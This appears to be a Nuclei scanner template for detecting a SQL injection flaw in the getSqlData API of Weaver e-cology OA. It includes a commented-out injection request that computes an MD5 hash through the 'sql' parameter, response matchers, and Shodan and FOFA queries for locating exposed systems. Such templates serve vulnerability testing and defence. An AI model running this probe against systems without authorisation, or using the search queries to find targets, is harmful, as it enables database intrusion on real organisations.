2023-09-14 19:11:38 +00:00
id : weaver-ecology-getsqldata-sqli
info :
name : Weaver E-Cology `getsqldata` - SQL Injection
author : SleepingBag945
severity : high
description : |
When the getSqlData interface of the Panwei e-cology OA system uses the mssql database, the built-in SQL statements are not spliced strictly, resulting in a SQL injection vulnerability.
reference :
- https://github.com/Wrin9/weaverOA_sql_RCE/blob/14cca7a6da7a4a81e7c7a7016cb0da75b8b290bc/weaverOA_sql_injection_POC_EXP.py#L46
metadata :
max-request : 2
verified : true
shodan-query : ecology_JSessionid
fofa-query : app="泛微-协同办公OA"
tags : ecology,weaver,oa,sqli
variables :
num : "999999999"
http :
- method : GET
path :
2023-09-17 16:11:07 +00:00
# - "{{BaseURL}}/Api/portal/elementEcodeAddon/getSqlData?sql=select%20substring(sys.fn_sqlvarbasetostr(hashbytes('MD5','{{num}}')),3,32)"
- "{{BaseURL}}/Api/portal/elementEcodeAddon/getSqlData?sql="
2023-09-14 19:11:38 +00:00
stop-at-first-match : true
matchers :
- type : word
part : body
words :
- '{{md5(num)}}'
- type : word
part : body
words :
- '{"api_status":'
- '"status":true}'
condition : and